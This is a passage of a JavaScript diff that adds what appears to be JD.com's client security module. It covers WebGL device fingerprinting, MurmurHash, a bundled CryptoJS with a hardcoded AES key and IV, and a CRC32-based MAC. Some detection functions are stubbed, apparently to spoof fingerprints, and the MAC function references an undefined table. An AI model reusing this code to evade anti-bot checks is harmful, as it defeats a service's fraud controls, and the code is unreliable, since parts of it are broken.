b.attachShader(h, q); + b.attachShader(h, z); + b.linkProgram(h); + b.useProgram(h); + h.vertexPosAttrib = b.getAttribLocation(h, "attrVertex"); + h.offsetUniform = b.getUniformLocation(h, "uniformOffset"); + b.enableVertexAttribArray(h.vertexPosArray); + b.vertexAttribPointer(h.vertexPosAttrib, l.itemSize, b.FLOAT, !1, 0, 0); + b.uniform2f(h.offsetUniform, 1, 1); + b.drawArrays(b.TRIANGLE_STRIP, 0, l.numItems); + null != b.canvas && c.push(b.canvas.toDataURL()); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("w1" + a(b.getParameter(b.ALIASED_LINE_WIDTH_RANGE))); + c.push("w2" + a(b.getParameter(b.ALIASED_POINT_SIZE_RANGE))); + c.push("w3" + b.getParameter(b.ALPHA_BITS)); + c.push("w4" + (b.getContextAttributes().antialias ? "yes" : "no")); + c.push("w5" + b.getParameter(b.BLUE_BITS)); + c.push("w6" + b.getParameter(b.DEPTH_BITS)); + c.push("w7" + b.getParameter(b.GREEN_BITS)); + c.push("w8" + function (D) { + var B, F = D.getExtension("EXT_texture_filter_anisotropic") || D.getExtension( + "WEBKIT_EXT_texture_filter_anisotropic") || D.getExtension( + "MOZ_EXT_texture_filter_anisotropic"); + return F ? (B = D.getParameter(F.MAX_TEXTURE_MAX_ANISOTROPY_EXT), 0 === B && (B = 2), + B) : null + }(b)); + c.push("w9" + b.getParameter(b.MAX_COMBINED_TEXTURE_IMAGE_UNITS)); + c.push("w10" + b.getParameter(b.MAX_CUBE_MAP_TEXTURE_SIZE)); + c.push("w11" + b.getParameter(b.MAX_FRAGMENT_UNIFORM_VECTORS)); + c.push("w12" + b.getParameter(b.MAX_RENDERBUFFER_SIZE)); + c.push("w13" + b.getParameter(b.MAX_TEXTURE_IMAGE_UNITS)); + c.push("w14" + b.getParameter(b.MAX_TEXTURE_SIZE)); + c.push("w15" + b.getParameter(b.MAX_VARYING_VECTORS)); + c.push("w16" + b.getParameter(b.MAX_VERTEX_ATTRIBS)); + c.push("w17" + b.getParameter(b.MAX_VERTEX_TEXTURE_IMAGE_UNITS)); + c.push("w18" + b.getParameter(b.MAX_VERTEX_UNIFORM_VECTORS)); + c.push("w19" + a(b.getParameter(b.MAX_VIEWPORT_DIMS))); + c.push("w20" + b.getParameter(b.RED_BITS)); + c.push("w21" + b.getParameter(b.RENDERER)); + c.push("w22" + b.getParameter(b.SHADING_LANGUAGE_VERSION)); + c.push("w23" + b.getParameter(b.STENCIL_BITS)); + c.push("w24" + b.getParameter(b.VENDOR)); + c.push("w25" + b.getParameter(b.VERSION)); + try { + var C = b.getExtension("WEBGL_debug_renderer_info"); + C && (c.push("wuv:" + b.getParameter(C.UNMASKED_VENDOR_WEBGL)), c.push("wur:" + b.getParameter( + C.UNMASKED_RENDERER_WEBGL))) + } catch (D) { } + return c.join("\u00a7") + }, + isCanvasSupported: function () { + return true; + var a = document.createElement("canvas"); + return !(!a.getContext || !a.getContext("2d")) + }, + isIE: function () { + return "Microsoft Internet Explorer" === navigator.appName || "Netscape" === navigator.appName && + /Trident/.test(navigator.userAgent) ? !0 : !1 + }, + getWebglCanvas: function () { + return null; + var a = document.createElement("canvas"), + b = null; + try { + var c = navigator.userAgent; + c = c.toLowerCase(); + (0 < c.indexOf("jdjr-app") || 0 <= c.indexOf("jdapp")) && (0 < c.indexOf("iphone") || 0 < c + .indexOf("ipad")) || (b = a.getContext("webgl") || a.getContext("experimental-webgl")) + } catch (l) { } + b || (b = null); + return b + }, + each: function (a, b, c) { + if (null !== a) + if (this.nativeForEach && a.forEach === this.nativeForEach) a.forEach(b, c); + else if (a.length === +a.length) + for (var l = 0, h = a.length; l < h && b.call(c, a[l], l, a) !== {}; l++); + else + for (l in a) + if (a.hasOwnProperty(l) && b.call(c, a[l], l, a) === {}) break + }, + map: function (a, b, c) { + var l = []; + if (null == a) return l; + if (this.nativeMap && a.map === this.nativeMap) return a.map(b, c); + this.each(a, function (h, q, z) { + l[l.length] = b.call(c, h, q, z) + }); + return l + }, + x64Add: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] + b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] + b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] + b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] + b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Multiply: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] * b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] * b[3]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[2] += a[3] * b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] * b[3]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[2] * b[2]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[3] * b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] * b[3] + a[1] * b[2] + a[2] * b[1] + a[3] * b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Rotl: function (a, b) { + b %= 64; + if (32 === b) return [a[1], a[0]]; + if (32 > b) return [a[0] << b | a[1] >>> 32 - b, a[1] << b | a[0] >>> 32 - b]; + b -= 32; + return [a[1] << b | a[0] >>> 32 - b, a[0] << b | a[1] >>> 32 - b] + }, + x64LeftShift: function (a, b) { + b %= 64; + return 0 === b ? a : 32 > b ? [a[0] << b | a[1] >>> 32 - b, a[1] << b] : [a[1] << b - 32, 0] + }, + x64Xor: function (a, b) { + return [a[0] ^ b[0], a[1] ^ b[1]] + }, + x64Fmix: function (a) { + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [4283543511, 3981806797]); + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [3301882366, 444984403]); + return a = this.x64Xor(a, [0, a[0] >>> 1]) + }, + x64hash128: function (a, b) { + a = a || ""; + b = b || 0; + var c = a.length % 16, + l = a.length - c, + h = [0, b]; + b = [0, b]; + for (var q, z, C = [2277735313, 289559509], D = [1291169091, 658871167], B = 0; B < l; B += 16) + q = [a.charCodeAt(B + 4) & 255 | (a.charCodeAt(B + 5) & 255) << 8 | (a.charCodeAt(B + 6) & + 255) << 16 | (a.charCodeAt(B + 7) & 255) << 24, a.charCodeAt(B) & 255 | (a.charCodeAt( + B + 1) & 255) << 8 | (a.charCodeAt(B + 2) & 255) << 16 | (a.charCodeAt(B + 3) & 255) << + 24], z = [a.charCodeAt(B + 12) & 255 | (a.charCodeAt(B + 13) & 255) << 8 | (a.charCodeAt( + B + 14) & 255) << 16 | (a.charCodeAt(B + 15) & 255) << 24, a.charCodeAt(B + 8) & + 255 | (a.charCodeAt(B + 9) & 255) << 8 | (a.charCodeAt(B + 10) & 255) << 16 | (a.charCodeAt( + B + 11) & 255) << 24], q = this.x64Multiply(q, C), q = this.x64Rotl(q, 31), q = + this.x64Multiply(q, D), h = this.x64Xor(h, q), h = this.x64Rotl(h, 27), h = this.x64Add(h, + b), h = this.x64Add(this.x64Multiply(h, [0, 5]), [0, 1390208809]), z = this.x64Multiply( + z, D), z = this.x64Rotl(z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z), b = + this.x64Rotl(b, 31), b = this.x64Add(b, h), b = this.x64Add(this.x64Multiply(b, [0, 5]), [0, + 944331445]); + q = [0, 0]; + z = [0, 0]; + switch (c) { + case 15: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 14)], 48)); + case 14: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 13)], 40)); + case 13: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 12)], 32)); + case 12: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 11)], 24)); + case 11: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 10)], 16)); + case 10: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 9)], 8)); + case 9: + z = this.x64Xor(z, [0, a.charCodeAt(B + 8)]), z = this.x64Multiply(z, D), z = this.x64Rotl( + z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z); + case 8: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 7)], 56)); + case 7: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 6)], 48)); + case 6: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 5)], 40)); + case 5: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 4)], 32)); + case 4: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 3)], 24)); + case 3: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 2)], 16)); + case 2: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 1)], 8)); + case 1: + q = this.x64Xor(q, [0, a.charCodeAt(B)]), q = this.x64Multiply(q, C), q = this.x64Rotl( + q, 31), q = this.x64Multiply(q, D), h = this.x64Xor(h, q) + } + h = this.x64Xor(h, [0, a.length]); + b = this.x64Xor(b, [0, a.length]); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + h = this.x64Fmix(h); + b = this.x64Fmix(b); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + return ("00000000" + (h[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (h[1] >>> 0).toString( + 16)).slice(-8) + ("00000000" + (b[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (b[ + 1] >>> 0).toString(16)).slice(-8) + } + }; +} + +var JDDSecCryptoJS = JDDSecCryptoJS || function (t, u) { +var v = {}, + x = v.lib = {}, + w = x.Base = function () { + function g() {} + return { + extend: function (m) { + g.prototype = this; + var a = new g; + m && a.mixIn(m); + a.hasOwnProperty("init") || (a.init = function () { + a.$super.init.apply(this, arguments) + }); + a.init.prototype = a; + a.$super = this; + return a + }, + create: function () { + var m = this.extend(); + m.init.apply(m, arguments); + return m + }, + init: function () {}, + mixIn: function (m) { + for (var a in m) m.hasOwnProperty(a) && (this[a] = m[a]); + m.hasOwnProperty("toString") && (this.toString = m.toString) + }, + clone: function () { + return this.init.prototype.extend(this) + } + } + }(), + A = x.WordArray = w.extend({ + init: function (g, m) { + g = this.words = g || []; + this.sigBytes = m != u ? m : 4 * g.length + }, + toString: function (g) { + return (g || n).stringify(this) + }, + concat: function (g) { + var m = this.words, + a = g.words, + b = this.sigBytes; + g = g.sigBytes; + this.clamp(); + if (b % 4) + for (var c = 0; c < g; c++) m[b + c >>> 2] |= (a[c >>> 2] >>> 24 - c % 4 * 8 & 255) << + 24 - (b + c) % 4 * 8; + else if (65535 < a.length) + for (c = 0; c < g; c += 4) m[b + c >>> 2] = a[c >>> 2]; + else m.push.apply(m, a); + this.sigBytes += g; + return this + }, + clamp: function () { + var g = this.words, + m = this.sigBytes; + g[m >>> 2] &= 4294967295 << 32 - m % 4 * 8; + g.length = t.ceil(m / 4) + }, + clone: function () { + var g = w.clone.call(this); + g.words = this.words.slice(0); + return g + }, + random: function (g) { + for (var m = [], a = 0; a < g; a += 4) m.push(4294967296 * t.random() | 0); + return new A.init(m, g) + } + }); +x.UUID = w.extend({ + generateUuid: function () { + for (var g = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".split(""), m = 0, a = g.length; m < a; m++) + switch (g[m]) { + case "x": + g[m] = t.floor(16 * t.random()).toString(16); + break; + case "y": + g[m] = (t.floor(4 * t.random()) + 8).toString(16) + } + return g.join("") + } +}); +var y = v.enc = {}, + n = y.Hex = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + var a = []; + for (var b = 0; b < g; b++) { + var c = m[b >>> 2] >>> 24 - b % 4 * 8 & 255; + a.push((c >>> 4).toString(16)); + a.push((c & 15).toString(16)) + } + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b += 2) a[b >>> 3] |= parseInt(g.substr(b, 2), 16) << + 24 - b % 8 * 4; + return new A.init(a, m / 2) + } + }, + e = y.Latin1 = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + for (var a = [], b = 0; b < g; b++) a.push(String.fromCharCode(m[b >>> 2] >>> 24 - b % 4 * 8 & + 255)); + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b++) a[b >>> 2] |= (g.charCodeAt(b) & 255) << 24 - + b % 4 * 8; + return new A.init(a, m) + } + }, + f = y.Utf8 = { + stringify: function (g) { + try { + return decodeURIComponent(escape(e.stringify(g))) + } catch (m) { + throw Error("Malformed UTF-8 data"); + } + }, + parse: function (g) { + return e.parse(unescape(encodeURIComponent(g))) + } + }, + r = x.BufferedBlockAlgorithm = w.extend({ + reset: function () { + this._data = new A.init; + this._nDataBytes = 0 + }, + _append: function (g) { + "string" == typeof g && (g = f.parse(g)); + this._data.concat(g); + this._nDataBytes += g.sigBytes + }, + _process: function (g) { + var m = this._data, + a = m.words, + b = m.sigBytes, + c = this.blockSize, + l = b / (4 * c); + l = g ? t.ceil(l) : t.max((l | 0) - this._minBufferSize, 0); + g = l * c; + b = t.min(4 * g, b); + if (g) { + for (var h = 0; h < g; h += c) this._doProcessBlock(a, h); + h = a.splice(0, g); + m.sigBytes -= b + } + return new A.init(h, b) + }, + clone: function () { + var g = w.clone.call(this); + g._data = this._data.clone(); + return g + }, + _minBufferSize: 0 + }); +x.Hasher = r.extend({ + cfg: w.extend(), + init: function (g) { + this.cfg = this.cfg.extend(g); + this.reset() + }, + reset: function () { + r.reset.call(this); + this._doReset() + }, + update: function (g) { + this._append(g); + this._process(); + return this + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + blockSize: 16, + _createHelper: function (g) { + return function (m, a) { + return (new g.init(a)).finalize(m) + } + }, + _createHmacHelper: function (g) { + return function (m, a) { + return (new k.HMAC.init(g, a)).finalize(m) + } + } +}); +var k = v.algo = {}; +v.channel = {}; +return v +}(Math); + +JDDSecCryptoJS.lib.Cipher || function (t) { +var u = JDDSecCryptoJS, + v = u.lib, + x = v.Base, + w = v.WordArray, + A = v.BufferedBlockAlgorithm, + y = v.Cipher = A.extend({ + cfg: x.extend(), + createEncryptor: function (g, m) { + return this.create(this._ENC_XFORM_MODE, g, m) + }, + createDecryptor: function (g, m) { + return this.create(this._DEC_XFORM_MODE, g, m) + }, + init: function (g, m, a) { + this.cfg = this.cfg.extend(a); + this._xformMode = g; + this._key = m; + this.reset() + }, + reset: function () { + A.reset.call(this); + this._doReset() + }, + process: function (g) { + this._append(g); + return this._process() + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + keySize: 4, + ivSize: 4, + _ENC_XFORM_MODE: 1, + _DEC_XFORM_MODE: 2, + _createHelper: function () { + function g(m) { + if ("string" != typeof m) return k + } + return function (m) { + return { + encrypt: function (a, b, c) { + return g(b).encrypt(m, a, b, c) + }, + decrypt: function (a, b, c) { + return g(b).decrypt(m, a, b, c) + } + } + } + }() + }); +v.StreamCipher = y.extend({ + _doFinalize: function () { + return this._process(!0) + }, + blockSize: 1 +}); +var n = u.mode = {}, + e = v.BlockCipherMode = x.extend({ + createEncryptor: function (g, m) { + return this.Encryptor.create(g, m) + }, + createDecryptor: function (g, m) { + return this.Decryptor.create(g, m) + }, + init: function (g, m) { + this._cipher = g; + this._iv = m + } + }); +n = n.CBC = function () { + function g(a, b, c) { + var l = this._iv; + l ? this._iv = t : l = this._prevBlock; + for (var h = 0; h < c; h++) a[b + h] ^= l[h] + } + var m = e.extend(); + m.Encryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize; + g.call(this, a, b, l); + c.encryptBlock(a, b); + this._prevBlock = a.slice(b, b + l) + } + }); + m.Decryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize, + h = a.slice(b, b + l); + c.decryptBlock(a, b); + g.call(this, a, b, l); + this._prevBlock = h + } + }); + return m +}(); +var f = (u.pad = {}).Pkcs7 = { + pad: function (g, m) { + m *= 4; + m -= g.sigBytes % m; + for (var a = m << 24 | m << 16 | m << 8 | m, b = [], c = 0; c < m; c += 4) b.push(a); + m = w.create(b, m); + g.concat(m) + }, + unpad: function (g) { + g.sigBytes -= g.words[g.sigBytes - 1 >>> 2] & 255 + } +}; +v.BlockCipher = y.extend({ + cfg: y.cfg.extend({ + mode: n, + padding: f + }), + reset: function () { + y.reset.call(this); + var g = this.cfg, + m = g.iv; + g = g.mode; + if (this._xformMode == this._ENC_XFORM_MODE) var a = g.createEncryptor; + else a = g.createDecryptor, this._minBufferSize = 1; + this._mode = a.call(g, this, m && m.words) + }, + _doProcessBlock: function (g, m) { + this._mode.processBlock(g, m) + }, + _doFinalize: function () { + var g = this.cfg.padding; + if (this._xformMode == this._ENC_XFORM_MODE) { + g.pad(this._data, this.blockSize); + var m = this._process(!0) + } else m = this._process(!0), g.unpad(m); + return m + }, + blockSize: 4 +}); +var r = v.CipherParams = x.extend({ + init: function (g) { + this.mixIn(g) + }, + toString: function (g) { + return (g || this.formatter).stringify(this) + } +}); +u.format = {}; +var k = v.SerializableCipher = x.extend({ + cfg: x.extend({}), + encrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + var c = g.createEncryptor(a, b); + m = c.finalize(m); + c = c.cfg; + return r.create({ + ciphertext: m, + key: a, + iv: c.iv, + algorithm: g, + mode: c.mode, + padding: c.padding, + blockSize: g.blockSize, + formatter: b.format + }) + }, + decrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + m = this._parse(m, b.format); + return g.createDecryptor(a, b).finalize(m.ciphertext) + }, + _parse: function (g, m) { + return "string" == typeof g ? m.parse(g, this) : g + } +}) +}(); +(function () { +var t = JDDSecCryptoJS, + u = t.lib.BlockCipher, + v = t.algo, + x = [], + w = [], + A = [], + y = [], + n = [], + e = [], + f = [], + r = [], + k = [], + g = []; +(function () { + for (var a = [], b = 0; 256 > b; b++) a[b] = 128 > b ? b << 1 : b << 1 ^ 283; + var c = 0, + l = 0; + for (b = 0; 256 > b; b++) { + var h = l ^ l << 1 ^ l << 2 ^ l << 3 ^ l << 4; + h = h >>> 8 ^ h & 255 ^ 99; + x[c] = h; + w[h] = c; + var q = a[c], + z = a[q], + C = a[z], + D = 257 * a[h] ^ 16843008 * h; + A[c] = D << 24 | D >>> 8; + y[c] = D << 16 | D >>> 16; + n[c] = D << 8 | D >>> 24; + e[c] = D; + D = 16843009 * C ^ 65537 * z ^ 257 * q ^ 16843008 * c; + f[h] = D << 24 | D >>> 8; + r[h] = D << 16 | D >>> 16; + k[h] = D << 8 | D >>> 24; + g[h] = D; + c ? (c = q ^ a[a[a[C ^ q]]], l ^= a[a[l]]) : c = l = 1 + } +})(); +var m = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54]; +v = v.AES = u.extend({ + _doReset: function () { + var a = this._key, + b = a.words, + c = a.sigBytes / 4; + a = 4 * ((this._nRounds = c + 6) + 1); + for (var l = this._keySchedule = [], h = 0; h < a; h++) + if (h < c) l[h] = b[h]; + else { + var q = l[h - 1]; + h % c ? 6 < c && 4 == h % c && (q = x[q >>> 24] << 24 | x[q >>> 16 & 255] << 16 | x[ + q >>> 8 & 255] << 8 | x[q & 255]) : (q = q << 8 | q >>> 24, q = x[q >>> 24] << + 24 | x[q >>> 16 & 255] << 16 | x[q >>> 8 & 255] << 8 | x[q & 255], q ^= m[h / + c | 0] << 24); + l[h] = l[h - c] ^ q + } b = this._invKeySchedule = []; + for (c = 0; c < a; c++) h = a - c, q = c % 4 ? l[h] : l[h - 4], b[c] = 4 > c || 4 >= h ? q : + f[x[q >>> 24]] ^ r[x[q >>> 16 & 255]] ^ k[x[q >>> 8 & 255]] ^ g[x[q & 255]] + }, + encryptBlock: function (a, b) { + this._doCryptBlock(a, b, this._keySchedule, A, y, n, e, x) + }, + decryptBlock: function (a, b) { + var c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c; + this._doCryptBlock(a, b, this._invKeySchedule, f, r, k, g, w); + c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c + }, + _doCryptBlock: function (a, b, c, l, h, q, z, C) { + for (var D = this._nRounds, B = a[b] ^ c[0], F = a[b + 1] ^ c[1], H = a[b + 2] ^ c[2], G = + a[b + 3] ^ c[3], I = 4, M = 1; M < D; M++) { + var J = l[B >>> 24] ^ h[F >>> 16 & 255] ^ q[H >>> 8 & 255] ^ z[G & 255] ^ c[I++], + K = l[F >>> 24] ^ h[H >>> 16 & 255] ^ q[G >>> 8 & 255] ^ z[B & 255] ^ c[I++], + L = l[H >>> 24] ^ h[G >>> 16 & 255] ^ q[B >>> 8 & 255] ^ z[F & 255] ^ c[I++]; + G = l[G >>> 24] ^ h[B >>> 16 & 255] ^ q[F >>> 8 & 255] ^ z[H & 255] ^ c[I++]; + B = J; + F = K; + H = L + } + J = (C[B >>> 24] << 24 | C[F >>> 16 & 255] << 16 | C[H >>> 8 & 255] << 8 | C[G & 255]) ^ c[ + I++]; + K = (C[F >>> 24] << 24 | C[H >>> 16 & 255] << 16 | C[G >>> 8 & 255] << 8 | C[B & 255]) ^ c[ + I++]; + L = (C[H >>> 24] << 24 | C[G >>> 16 & 255] << 16 | C[B >>> 8 & 255] << 8 | C[F & 255]) ^ c[ + I++]; + G = (C[G >>> 24] << 24 | C[B >>> 16 & 255] << 16 | C[F >>> 8 & 255] << 8 | C[H & 255]) ^ c[ + I++]; + a[b] = J; + a[b + 1] = K; + a[b + 2] = L; + a[b + 3] = G + }, + keySize: 8 +}); +t.AES = u._createHelper(v) +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.lib, + v = u.WordArray, + x = u.Hasher, + w = []; +u = t.algo.SHA1 = x.extend({ + _doReset: function () { + this._hash = new v.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) + }, + _doProcessBlock: function (A, y) { + for (var n = this._hash.words, e = n[0], f = n[1], r = n[2], k = n[3], g = n[4], m = 0; 80 > + m; m++) { + if (16 > m) w[m] = A[y + m] | 0; + else { + var a = w[m - 3] ^ w[m - 8] ^ w[m - 14] ^ w[m - 16]; + w[m] = a << 1 | a >>> 31 + } + a = (e << 5 | e >>> 27) + g + w[m]; + a = 20 > m ? a + ((f & r | ~f & k) + 1518500249) : 40 > m ? a + ((f ^ r ^ k) + + 1859775393) : 60 > m ? a + ((f & r | f & k | r & k) - 1894007588) : a + ((f ^ r ^ + k) - 899497514); + g = k; + k = r; + r = f << 30 | f >>> 2; + f = e; + e = a + } + n[0] = n[0] + e | 0; + n[1] = n[1] + f | 0; + n[2] = n[2] + r | 0; + n[3] = n[3] + k | 0; + n[4] = n[4] + g | 0 + }, + _doFinalize: function () { + var A = this._data, + y = A.words, + n = 8 * this._nDataBytes, + e = 8 * A.sigBytes; + y[e >>> 5] |= 128 << 24 - e % 32; + y[(e + 64 >>> 9 << 4) + 14] = Math.floor(n / 4294967296); + y[(e + 64 >>> 9 << 4) + 15] = n; + A.sigBytes = 4 * y.length; + this._process(); + return this._hash + }, + clone: function () { + var A = x.clone.call(this); + A._hash = this._hash.clone(); + return A + } +}); +t.SHA1 = x._createHelper(u); +t.HmacSHA1 = x._createHmacHelper(u) +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.channel; +u.Downlink = { + deBase32: function (v) { + if (void 0 == v || "" == v || null == v) return ""; + var x = t.enc.Hex.parse("30313233343536373839616263646566"), + w = t.enc.Hex.parse("724e5428476f307361374d3233784a6c"); + return t.AES.decrypt({ + ciphertext: t.enc.Base32.parse(v) + }, w, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: x + }).toString(t.enc.Utf8) + }, + deBase64: function (v) { + return "" + } +}; +u.Uplink = { + enAsBase32: function (v) { + return "" + }, + enAsBase64: function (v) { + return "" + } +} +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.lib.WordArray; +t.enc.Base32 = { + stringify: function (v) { + var x = v.words, + w = v.sigBytes, + A = this._map; + v.clamp(); + v = []; + for (var y = 0; y < w; y += 5) { + for (var n = [], e = 0; 5 > e; e++) n[e] = x[y + e >>> 2] >>> 24 - (y + e) % 4 * 8 & 255; + n = [n[0] >>> 3 & 31, (n[0] & 7) << 2 | n[1] >>> 6 & 3, n[1] >>> 1 & 31, (n[1] & 1) << 4 | + n[2] >>> 4 & 15, (n[2] & 15) << 1 | n[3] >>> 7 & 1, n[3] >>> 2 & 31, (n[3] & 3) << + 3 | n[4] >>> 5 & 7, n[4] & 31]; + for (e = 0; 8 > e && y + .625 * e < w; e++) v.push(A.charAt(n[e])) + } + if (x = A.charAt(32)) + for (; v.length % 8;) v.push(x); + return v.join("") + }, + parse: function (v) { + var x = v.length, + w = this._map, + A = w.charAt(32); + A && (A = v.indexOf(A), -1 != A && (x = A)); + A = []; + for (var y = 0, n = 0; n < x; n++) { + var e = n % 8; + if (0 != e && 2 != e && 5 != e) { + var f = 255 & w.indexOf(v.charAt(n - 1)) << (40 - 5 * e) % 8, + r = 255 & w.indexOf(v.charAt(n)) >>> (5 * e - 3) % 8; + e = e % 3 ? 0 : 255 & w.indexOf(v.charAt(n - 2)) << (3 == e ? 6 : 7); + A[y >>> 2] |= (f | r | e) << 24 - y % 4 * 8; + y++ + } + } + return u.create(A, y) + }, + _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" +} +})(); + +class JDDMAC { + static t() { + return "00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D" + .split(" ").map(function (v) { + return parseInt(v, 16) + }) + } + mac(v) { + for (var x = -1, w = 0, A = v.length; w < A; w++) x = x >>> 8 ^ t[(x ^ v.charCodeAt(w)) & 255]; + return (x ^ -1) >>> 0 + } +} +var _CurrentPageProtocol = "https:" == document.location.protocol ? "https://" : "http://", 